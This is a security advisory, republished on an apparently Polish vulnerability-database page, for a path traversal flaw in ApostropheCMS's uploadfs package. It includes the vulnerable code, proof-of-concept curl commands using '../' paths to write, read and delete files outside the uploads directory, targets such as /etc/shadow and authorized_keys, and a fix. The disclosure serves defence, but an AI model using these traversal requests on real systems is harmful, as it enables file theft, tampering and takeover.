ApostropheCMS: Path traversal in uploadfs
Summary
The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
Details
Root Cause
packages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
function prefixPath(path) {
// Resolve any double // that results from the prefix
return (self.prefix + path).replace(/\/\//g, '/');
}
packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
copyIn: function(localPath, path, options, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
fs.unlink(uploadPath, callback);
prefixPath()does not normalize paths or reject../.- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves
/app/uploads/../../../tmp/pwned.txt→/tmp/pwned.txt.
Proof of Concept (PoC)
Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
Expected output
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
Manual reproduction
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
-F "path=../../../tmp/backdoor.txt" \
-F "file=@-;filename=backdoor.txt" <<< "malicious content"
# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"
# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
Impact
| Capability | Risk |
|---|---|
| Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution |
| Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials |
| Arbitrary File Delete | Destroy system or application files → Denial of Service |
Remediation
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
const path = require('path');
function safePath(base, target) {
const resolved = path.resolve(base, target);
if (!resolved.startsWith(path.resolve(base) + path.sep)) {
throw new Error('Path traversal blocked: target is outside the intended directory');
}
return resolved;
}
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | uploadfs | < 1.28.0 | 1.28.0 |
Odnośniki
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/uploadfs@1.28.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N- Słabość (CWE)
CWE-22- Platforma
- npm
- Paczka
uploadfs- Ujawniono
- 20.10.2026
- Aktualizacja
- 22.10.2026 18:07
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-gmfx-5g6x-rr72 - CC BY 4.0
Historia podatności: uploadfs
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 2
- Pierwsza → ostatnia
- 10.2026 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Średnia 1
- Niska 1
Ujawnienia w latach
- 2026: 2
-
ApostropheCMS: Path traversal in uploadfs ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.